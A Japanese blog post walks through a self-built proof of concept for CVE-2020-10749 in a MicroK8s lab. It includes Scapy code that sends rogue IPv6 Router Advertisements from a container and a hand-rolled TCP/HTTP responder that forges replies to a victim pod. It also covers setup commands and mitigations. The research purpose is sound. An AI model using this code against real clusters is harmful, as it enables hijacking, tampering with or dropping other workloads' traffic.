knqyf263's blog

自分のためのメモとして残しておくためのブログ。

CVE-2020-10749(Kubernetesの脆弱性)のPoCについての解説

少し前ですが、Kubernetesの方から以下の脆弱性が公開されました。 github.com

タイトルにはCVE-2020-10749と書きましたが、複数のCNI実装が影響を受ける脆弱性でCVE-2020-10749はcontainernetworking/pluginsアサインされたものです。他にもCalicoはCVE-2020-13597、DockerはCVE-2020-13401、などとそれぞれCVE-IDがアサインされています。

このIssueの説明を読んで、はいはいあれね完全に理解した、と思って一旦閉じました。ですが、頭で分かった気になって手を動かさないのは一番やってはいけないことと念じ続けてきたのに、しれっと同じことをやりそうになっていた事に気づきました。なので数日経ってからちゃんとPoCを書いてみました。多少知識が増えてくるとついうっかりやってしまいがちなので気をつけなければなと自戒しました。

これは自分の業務ではなくて趣味であり、もちろん全ての脆弱性を検証していくのは不可能なのですが業務でクラウドネイティブ界隈にいるということと、ネットワーク関連の脆弱性ということで自分は検証しておかねばダメだなと思い直し今回検証しました。

ブログは面倒だから良いやと思っていたら会社から"圧"があったので英語で書く前に一旦頭を整理するために日本語で書いておきます。

概要

上のIssueにある通り、攻撃者が悪意あるIPv6 Router Advertisements(RA)をコンテナから送ることで、ホストや他のコンテナの通信を攻撃者配下のコンテナに送らせることが出来るというものです。それを元の宛先に転送してあげれば中間者攻撃(MitM)可能ということになります。ここまでで分かる通り、前提条件として攻撃者が対象のコンテナ内に侵入する必要があります。外部からログインしても良いし細工したコンテナイメージをpullさせても良いのですが、いずれにせよ攻撃条件を満たすのが難しいです。なので正直脆弱性の深刻度としてはかなり低い部類だと思います。

ですが、IPv6使ってないから大丈夫ということはありません。後ほど説明しますがIPv6を完全に無効化していない限りは攻撃者による不正RAによって強引にIPv6のアドレスを付与されます。そして同時にデフォルトゲートウェイも設定されてしまうので攻撃が成立します。でも外部と通信する時はIPv4だから関係ないのでは?と思う方もいらっしゃるかもしれませんが、DNSIPv6のレコード(AAAA)を返す場合はIPv6を優先して使うHTTPクライアントの実装が多いです。自分が2014年ぐらいに調査した時は多くのブラウザなどもそうなっていましたし、2020年時点でもcurlはそうなっています。上のIssueでもその点が強調されているためIPv6?関係ないな、と早計な判断をしないように気をつける必要があります。

ただ、そもそもDHCPやRAには認証や署名などのセキュリティ的な機能は備わっていないので元々不正RAなどに対して脆弱です。スイッチ側での対策などはありますが、プロトコルそのものは特に対策が入っていないと認識しています。ネットワーク詳しい人からツッコミが来るかもしれないのでJPNICのドキュメントも貼っておきます。

www.nic.ad.jp

最近の動向は知らないので既に何かしら対策があるのかもしれないのですが、少なくとも今回の脆弱性では不正RAによる攻撃をKubernetes内で行うといったものになっています。なので、正直これはCNIの脆弱性というべきなのだろうか?というのがあまり理解できていません。もちろんデフォルトでRAを受け取らないようにしておけば攻撃を受けなかったんだから脆弱なデフォルト設定だ、という見方もあると思うのですがLinuxもデフォルトでaccept_ra=1なディストリビューションが多そう(手元で試したUbuntu等は全部有効だった)なので、特別にCNIだけが脆弱と認定された理由は良く分かっていません。

それはさておき脆弱性の説明に入りますが、その前にRAとは何かについて説明しておきます。

Router Advertisements(RA、ルータ広告)とは

これも迂闊なことを言って誤った説明をするのが怖いのでJPNICの説明を引用しておきます。

RA (Router Advertisement; ルータ広告)とは、 IPv6アドレスの自動設定を行う機能(Stateless Address Autoconfiguration, SLAAC)(*1)の一部分で、 RFC4862で標準化されています。

(中略)

IPv6のアドレスを設定したいノードは、 接続しているセグメントにルータが存在するかどうか、 もしあるのであればプリフィクス情報を送るようRS (Router Solicitation; ルータ要請)メッセージを、 すべてのルータ(全ルータマルチキャスト(ff02::2))に対して送信します。 そのメッセージを受け取ったルータは、 RAメッセージをすべてのノード(全ノードマルチキャスト(ff02::1))に対して送ります。 ノードは応答された内容からプリフィクスを取得し、 さらにMACアドレスを元にして数値を生成するEUI-64(*2)やその他のアルゴリズムからインタフェースIDを生成することで、 アドレスを設定することができます。

www.nic.ad.jp

図にすると以下のようになります。実際にはネットワークに繋いだらリンクローカルアドレスが振られて、とかもあるのですが一旦置いておきます。重要なのはノードがRSを送るとルータがRAを返しそのRA内にはプレフィックスが含まれているという点と、そのプレフィックスを使ってIPv6のアドレスを自動で作るという点です。EUI-64はMACアドレスを使うので以下の図のように1234みたいに綺麗にはならないのですが、例のため簡略化しています。

f:id:knqyf263:20200618220052p:plain

そしてもう一つ重要な点として、ノードがRSを送らなくてもルータはRAを送ることが可能という点です。これは別に攻撃に関係なく、定期的にルータからRAを送信するという設定が可能です。そのためノードとしても自分がRSを送っていなければRAを受け取らないということはなく、RAを受け取れば普通に設定します。

また、ノードはRAを受け取ったルータをデフォルトゲートウェイとして設定します。静的に設定した場合とかDHCPv6とかが共存してる場合とか細かく話し出すとキリがないので、ルータとノードだけがあるシンプルな構成と考えてください。

ということで上述したように、攻撃者が不正RAを送出するとノードはそのノードをルータと見なしてしまいそちらにパケットを送信します。

f:id:knqyf263:20200618220326p:plain

不正RAを使った攻撃

正直もう概要としてはあまり説明するところはありません。上の不正RAをコンテナ内で行うだけです。コンテナ内から適当なプレフィックスを指定してRAをブロードキャストすると、RAを受け取ったインタフェースでIPv6がEUI-64などにより設定され、RAを送ってきたコンテナのIPv6アドレスをデフォルトゲートウェイとして設定します。

じゃあもう理解できたな、と思いがちですが実は攻撃しようとするとそんなに現実が甘くないことが分かります。これは実際にやってみないと気づきにくいと思うのでやはり検証が大事だな、と思うわけですがデフォルトではコンテナ内で勝手にIPアドレスを変更したり付与できません。もちろん権限を付与していれば別です。そのため、上のように攻撃者のコンテナにfe80::2を付与しようとしても付与することが出来ません。つまりfe80::2に通信を向けさせようとしてもすんなりとはいかないということです。

ではどうするかと言うと、実はそこまで難しくありません。まず、最初のハードルとしてIPv6アドレスとMACアドレスマッピング問題があります。IPv6ではNeighbor Discovery(ND)が使われるわけですが、コンテナにはIPv6のアドレス(fe80::2)が付与されていないためNDに応答してくれません。ただこれはLinuxの機能として応答してくれなくて不便というだけなので、自分でプログラムを書いたりして勝手に応答すれば問題ありません。さらに、今回の例では実はそれすら必要ありません。RAを送る際にICMPv6 OptionとしてSource link-layer addressとしてMACアドレスを指定しておけば、ソースIPv6アドレスと紐付けてNDキャッシュに保存しておいてくれます(多分)。嘘言ってたらすみません。もしかしたら単にパケットの来たソースアドレスとMACアドレスのペアを保存してるだけなのかもしれませんが、少なくとも自分の環境ではICMPv6 Optionに入れておかないとNDキャッシュに入れてくれませんでした。

f:id:knqyf263:20200618175648p:plain

その後、fe80::2に送ろうとした場合は既にNDキャッシュにfe80::2のMACアドレスが保存されているため勝手に攻撃者コンテナに送信してくれます。

そして次のハードルですが、fe80::2宛のパケットなのに攻撃者コンテナにはそのアドレスが付いていないためパケットを落としてしまう問題です。これも適当にプロキシを立てても行けるかとは思いますが、先程同様にインタフェースをsniffしつつ自分でパケットを応答してあげれば良いです。後ほどスクリプトも説明しますが、自分はScapyを使ってTCPの3-way handshakeなどを行いました。

実例

言葉で説明されてもよくわからないかと思うので実際に攻撃してみます。ネットワーク構成としては以下のようなものを想定しています。上述したように攻撃者のコンテナにはIPv6はつけることが出来ない設定です。また、1 Pod 1 コンテナ想定です。

f:id:knqyf263:20200618221302p:plain

見て分かる通り、IPv4アドレスしか利用していません。こういう環境上でもattackerのPodからvictimにRAを投げてやることでIPv6を強引に付与しつつデフォルトゲートウェイを自分に向けるという攻撃です。

f:id:knqyf263:20200618221441p:plain

今回は他のコンテナに対して攻撃を行っていますが、ノードに対しても攻撃可能であることを検証済みです。ノード上から通信している場合はそれを攻撃者のPodに持ってくることが出来ます。

Kubernetes環境の準備

今回はせっかくなのでMicroK8sを使いました。自分はmacOS上で試したのですが、Windowsやminikube使ってもクラスタが用意できれば何でも良いと思います。

MicroK8sのインストール方法は以下です。

ubuntu.com

まずクラスタを立ち上げます。

$ brew install ubuntu/microk8s/microk8s
$ microk8s install
MicroK8s is up and running. See the available commands with `microk8s --help`.
$ microk8s status --wait-ready
microk8s is running
addons:
dashboard: disabled
dns: disabled
metrics-server: disabled
registry: disabled
storage: disabled
cilium: disabled
fluentd: disabled
gpu: disabled
helm: disabled
helm3: disabled
host-access: disabled
ingress: disabled
istio: disabled
jaeger: disabled
knative: disabled
kubeflow: disabled
linkerd: disabled
metallb: disabled
prometheus: disabled
rbac: disabled
$ microk8s kubectl get nodes
NAME          STATUS   ROLES    AGE   VERSION
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871

いくつかアドオンをenableしておきます。dashboardとかは今回不要ですが便利なので一応有効にしてます。

$ microk8s enable dns storage dashboard registry

毎回microk8sコマンド打つのも面倒なので、kubeconfigを保存してKUBECONFIGに指定してしまいます。これはもっと良い方法ありそうですが、MicroK8sの使い方記事じゃないので一旦これで行きます。

$ microk8s config > kubeconfig 
$ export KUBECONFIG=$PWD/kubeconfig
$ kubectl get nodes
NAME          STATUS   ROLES    AGE   VERSION
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871

Victim Pod

victim側は多分大体のイメージで動くと思いますが、今回はalpine:3.12を使っています。

以下のリポジトリに今回の検証で使ったファイル一式が入ってます。

CVE-2020-10749/victim.yml at master · knqyf263/CVE-2020-10749 · GitHub

apiVersion: apps/v1
kind: Deployment
...
spec:
    spec:
      containers:
      - image: alpine:3.12
        name: victim
        command: ["sleep", "100000"]

victim側のDeploymentの設定はこれだけなので自分で用意してもらっても大丈夫です。

とはいえ後々スクリプトなどが必要になるのでcloneしておきます。

$ git clone https://github.com/knqyf263/CVE-2020-10749.git
$ cd CVE-2020-10749

ではapplyします。

$ kubectl apply -f victim/victim.yml
$ kubectl get pods
NAME                      READY   STATUS    RESTARTS   AGE
victim-5484d9f977-drttl   1/1     Running   0          3s

このPodに入ります。そして、IPv6が有効かを確認します。いくつか読み取れない値がありますが無視で良いです。

$ kubectl exec -it victim-5484d9f977-drttl -- sh
/ # sysctl -a | grep disable_ipv6
net.ipv6.conf.all.disable_ipv6 = 0
net.ipv6.conf.default.disable_ipv6 = 0
net.ipv6.conf.eth0.disable_ipv6 = 0
net.ipv6.conf.lo.disable_ipv6 = 0

disable_ipv6=0なので、つまり有効ということです。そしてRAを受け取る設定になっているかも確認します。

/ # sysctl -a | grep "accept_ra ="
net.ipv6.conf.all.accept_ra = 1
net.ipv6.conf.default.accept_ra = 1
net.ipv6.conf.eth0.accept_ra = 1
net.ipv6.conf.lo.accept_ra = 1

accept_ra=1なので受け取る設定になっています。次にインタフェースに付いているIPv6アドレスを見てみます。

/ # ip -6 a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP
    inet6 fe80::d096:88ff:fe81:5143/64 scope link
       valid_lft forever preferred_lft forever

リンクローカルアドレスだけは付いている状態です。これで攻撃可能な状態であることが分かります。

念の為IPv6のルーティングテーブルも見ておきます。

/ # ip -6 route
fe80::/64 dev eth0  metric 256
ff00::/8 dev eth0  metric 256

fe80等のアドレス宛ならeth0からパケットを送出するがそれ以外の宛先へのルートは持っていないことが分かります。

victimの確認は以上です。ただ設定を確認しただけでプレーンなalpine:3.12のままです。後にcurlを使うので先にインストールだけしておきます。

/ # apk add curl

後ほどexample.com宛の通信を改ざんするので、現時点では正常に通信できることを確かめておくと良いです。

/ # curl http://example.com

attacker

不正RA

まず不正RAを送るためのプログラムを書く必要があります。Scapyであれば以下のように簡単にRAパケットを作ることが出来ます。

ra  = Ether(src=mac_addr)/IPv6(src=src_addr)/ICMPv6ND_RA()
ra /= ICMPv6NDOptPrefixInfo(prefix=prefix, prefixlen=64)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=mac_addr)

ここでIPv6のsrcとして指定するアドレスは実際には存在しないIPv6アドレスです。今回は適当に fe80::42:fcff:dead:beef としています。dead:beaf以外のところは特に意味ないです。スクリプト全体は以下にあります。

CVE-2020-10749/fake_ra.py at master · knqyf263/CVE-2020-10749 · GitHub

そして上で述べたとおり、偽のソースIPv6アドレスとMACアドレスの紐付けを行うためにICMPv6NDOptSrcLLAddrに攻撃者コンテナのMACアドレスを指定しています。

攻撃者用イメージのbuild/push

何度も検証する場合、毎回このPythonファイルをコンテナ内にコピーするのは面倒なのでこのファイルを含んだイメージを作成しておきます。この時点で既に後に使うダミーサーバ用のプログラムも含んでいます。

これをMicroK8sのビルトインレジストリにpushしたいので、ホスト名を付けてビルドします。

microk8s.io

上のドキュメントではlocalhostになってますが、MicroK8s on macOSでは仮想マシン上でクラスタが起動されているので、IPアドレスを指定する必要があります(これまた多分)。

$ kubectl get nodes -o wide
NAME          STATUS   ROLES    AGE   VERSION                     INTERNAL-IP    EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION       CONTAINER-RUNTIME
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871   192.168.64.3   <none>        Ubuntu 18.04.4 LTS   4.15.0-101-generic   containerd://1.2.5

192.168.64.3ということが分かったのでビルドします。Dockerfileは以下にありますが、alpine:3.12をベースにしてプログラムを中にCOPYしてるだけです。

CVE-2020-10749/Dockerfile at master · knqyf263/CVE-2020-10749 · GitHub

$ docker build -t 192.168.64.3:32000/attacker ./attacker

あとはpushなのですが上のドキュメントにも書いている通り、デフォルトではビルトインレジストリがHTTPなのでDocker側の設定で許可してあげる必要があります。以下のような感じです。

f:id:knqyf263:20200618210231p:plain

設定変更したらDocker Engineの再起動が必要です。ではpushします。

$ docker push 192.168.64.3:32000/attacker

これで準備完了です。

不正RAメッセージの送信

準備が終わったのでデプロイします。デプロイ用のYAMLも特に変わったところはないです。特に強い権限を与えるわけでもなくデフォルトという感じです。

$ cat attacker/attacker.yml
apiVersion: apps/v1
kind: Deployment
spec:
...
    spec:
      containers:
      - image: localhost:32000/attacker
        name: attacker
$ kubectl apply -f attacker/attacker.yml
deployment.apps/attacker created

ログインしてMACアドレスを確認します。

$ kubectl get pods
NAME                       READY   STATUS    RESTARTS   AGE
attacker-8857dd5c9-j7wwd   1/1     Running   0          11s
victim-5484d9f977-drttl    1/1     Running   0          3h28m
$ kubectl exec -it attacker-8857dd5c9-j7wwd -- sh
/ # ip a show eth0
3: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP
    link/ether 0e:57:fb:44:b3:f1 brd ff:ff:ff:ff:ff:ff
    inet 10.1.55.42/24 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::c57:fbff:fe44:b3f1/64 scope link
       valid_lft forever preferred_lft forever

このコンテナのMACアドレス0e:57:fb:44:b3:f1 ということが分かったのでスクリプトを更新します。このコンテナにもリンクローカルアドレスがついていることから分かる通り、IPv6はdisableされていないようです。

では上のプログラムを実行してみます。

/ # python fake_ra.py
Sending a fake router advertisement message...
.
Sent 1 packets.

これでvictimの方のインタフェースに指定したプレフィックス2001:db8:1::)を持ったIPv6アドレスが生成されているはずです。victimのPodに入って確認してみます。

$ kubectl exec -it victim-5484d9f977-drttl -- sh 
/ # ip -6 a show eth0
3: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP
    inet6 2001:db8:1:0:d096:88ff:fe81:5143/64 scope global dynamic
       valid_lft forever preferred_lft forever
    inet6 fe80::d096:88ff:fe81:5143/64 scope link
       valid_lft forever preferred_lft forever

無事に 2001:db8:1:0:d096:88ff:fe81:5143/64 というIPv6アドレスが付与されていることが分かりました。このコンテナのMACアドレスd2:96:88:81:51:43 なので、もし詳しくない方はEUI-64について学んでみても面白いと思います。ただEUI-64のようにMACアドレスから生成する方式だとIPv6アドレスから端末を特定されてしまいプライバシー的に問題があるということで、ランダムに生成するための様々なRFCが提案されていたりもします。

脱線しましたが話を戻します。IPv6アドレスだけでなくIPv6のルーティングテーブルも重要です。

/ # ip -6 route
2001:db8:1::/64 dev eth0  metric 256
fe80::/64 dev eth0  metric 256
default via fe80::42:fcff:dead:beef dev eth0  metric 1024  expires 0sec
ff00::/8 dev eth0  metric 256

上で見たときには存在しなかったdefaultが生成されています。さらに、デフォルトゲートウェイの宛先は上で指定したdead:beafのアドレスになっています。これによって、victimコンテナは攻撃者のコンテナに対してIPv6のパケットを投げてしまいます。

NDキャッシュも見てみます。

/ # ip -6 neigh
fe80::42:fcff:dead:beef dev eth0 lladdr 0e:57:fb:44:b3:f1 router used 0/0/0 probes 0 STALE

攻撃時にRAパケット内にICMPv6 Optionとしてlladdrを指定しておいたため、無事に fe80::42:fcff:dead:beef0e:57:fb:44:b3:f1 が紐付いています。fe80::42:fcff:dead:beef などというIPv6アドレスは実際には誰も持っていないわけですが、ちゃんと攻撃者のコンテナにパケットが来てくれます。説明だけ見てふむふむってなるだけだと、こういう細部まで考えが至らないかと思います。

不正サーバ

この時点で既にIPv6パケットは攻撃者のコンテナに来てくれます。そこからどうするかは自由なわけですが、せっかくなのでサーバのふりをして偽の応答を返してみます。HTTPSだと証明書を信頼させる必要があるので、今回はHTTPを対象にします。実際のシナリオでもHTTPSに対してMitMしたいとなると結構面倒かなと思います。コンテナが強い権限を持っていてホストのroot CA設定を変更可能だったりしたら攻撃が成立しそうですが、それ以外だとあまり思いついてないです。なのでMitMが成立しても全部HTTPSなので問題ないです、という可能性もあります。

ただパケットを自分に向けさせつつ全部dropすることでDoSは可能なので、情報窃取目的ではなくサービス妨害という意味では有効かもしれません。

今回はexample.comに対する通信をMitMして偽の応答を返すことにします。先程から説明している通り、コンテナにはIPv6アドレスを付与することが出来ません。そのため、TCPの3-way handshakeを自分で行い、HTTPのGETリクエストが来たらHTTPレスポンスを自分で返す必要があります。

Scapyを使えば難しくないので簡単に説明します。

from scapy.all import *

# recv: SYN
syn = sniff(count=1, filter="tcp and port 80")

# initializing some variables for later use.
sport = syn[0].sport
seq_num = syn[0].seq
ack_num = syn[0].seq + 1
src = syn[0][IPv6].src
dst = syn[0][IPv6].dst

# send: SYN/ACK
eth = Ether(src=syn[0].dst, dst=syn[0].src)
ipv6 = IPv6(src=dst, dst=src)
tcp_synack = TCP(sport=80, dport=sport, flags="SA", seq=seq_num, ack=ack_num, options=[('MSS', 1460)])
sendp(eth/ipv6/tcp_synack, iface="eth0")

TCPで80番ポート宛のパケットをsniffしてシーケンス番号等を取り出してSYN/ACKを返します。すると次にHTTPリクエストが飛んでくるので、あとはHTTPのレスポンスを返すだけです。

# recv: HTTP request
get_request = sniff(filter="tcp and port 80",count=1,prn=lambda x:x.sprintf("{IP:%IP.src%: %TCP.dport%}"))

# send: HTTP response
ack_num = ack_num + len(get_request[0].load)
seq_num = syn[0].seq + 1
html1 = "HTTP/1.1 200 OK\x0d\x0aDate: Wed, 29 Sep 2020 20:19:05 GMT\x0d\x0aServer: Malicious server\x0d\x0aConnection: Keep-Alive\x0d\x0aContent-Type: text/html; charset=UTF-8\x0d\x0aContent-Length: 17\x0d\x0a\x0d\x0amalicious!!!!!!!\n"
tcp = TCP(sport=80, dport=sport, flags="PA", seq=seq_num, ack=ack_num, options=[('MSS', 1460)])
ack_http = srp1(eth/ipv6/tcp/html1, iface="eth0")

この辺りはコピペしてきて改変しただけなので不要なヘッダとかパラメータあると思います。あとはFINを送ってあげてTCPセッションを終了すれば完了です。プログラム全体は以下にあります。

CVE-2020-10749/server.py at master · knqyf263/CVE-2020-10749 · GitHub

攻撃者Podに入ってこのプログラムを起動しましょう。ただ先程送ったNDのキャッシュが切れてるかもしれないので、もう一度fake_ra.pyを実行しておくと良いかもしれません。

kubectl exec -it attacker-8857dd5c9-j7wwd -- sh 
/ # python server.py
Listening...

Exploit

上のターミナルは開きつつ、別のターミナルを開いてvictim Podに入ります。全て準備は整っているので、あとはexample.comcurlするだけです。

$ kubectl exec -it victim-5484d9f977-drttl -- sh
/ # curl http://example.com
malicious!!!!!!!

ということでvictimからしたら単にexample.comにアクセスしただけなのにmaliciousという文字列が返ってきました。victimからすれば何もしていないのに突然通信が改ざんされているので気付きようがないですね。

動画

今行った一連の流れをGIFにしておいたので、興味あれば見てください。

CVE-2020-10749/CVE-2020-10749.gif at master · knqyf263/CVE-2020-10749 · GitHub

緩和策

もちろんCNIプラグインのバージョンを更新すれば影響を受けなくなるわけですが、それが難しい場合は以下の3つにより緩和可能です。

  • net.ipv6.conf.all.accept_ra=0 に設定する
  • TLSを使う
    • きちんとした証明書を使ってHTTPS通信しているとMitMは難しくなります
  • CAP_NET_RAWを無効にする
    • Pod Security Policy などに RequiredDropCapabilities を設定してNET_RAWの権限をなくしてしまえばコンテナから好きにパケットを送れなくなるので今回の攻撃の影響は受けません。

逆に言うと攻撃の成立条件は上の反対を全て満たしている場合、になります。accept_ra=1でかつTLSを使っておらずCAP_NET_RAWが有効ということです。

また、RAを無効にしたりNET_RAWを無効にしたりすると正常な通信に影響が出る可能性もあるので気をつける必要があります。

余談

そもそも最初に述べたように、何でこれが脆弱性として認定されたのかな、というのは少し気になっています。さらに言うと弊社が以前出したブログでDNS Spoofingを使って限りなく似たことを行っています。NET_RAWさえ付与されていれば成立する攻撃で、今回の脆弱性と同様にMitMですし攻撃条件の差異もあまり見当たりません。にも関わらずこちらは脆弱性としては認められませんでした。

blog.aquasec.com

ボスがKubernetesのセキュリティチームに聞いたところセキュリティチームも何でだろうね...と困惑していたらしいので対応した人によって判断基準が違ったりするのかもしれません。

まとめ

今回は攻撃条件も厳しく攻撃成立後も与えられるインパクトは小さいためそこまで急いで対応する必要のある脆弱性ではないと考えています。ですがきちんと自分で攻撃を成立させることで学ぶことは多いです。もし興味がある方は自分で一度やってみると理解が深まると思います。

そしてそもそもこれはRAの問題であってKubernetesの何が問題なのか、と言われると自分も正直答えられません。RAの問題とはいえ攻撃が成立するんだから脆弱性なのでは?と言われると今度は上のDNS Spoofingが脆弱性として認定されていない理由が分かりません。細かいことは気にせず強く生きていきたいと思います。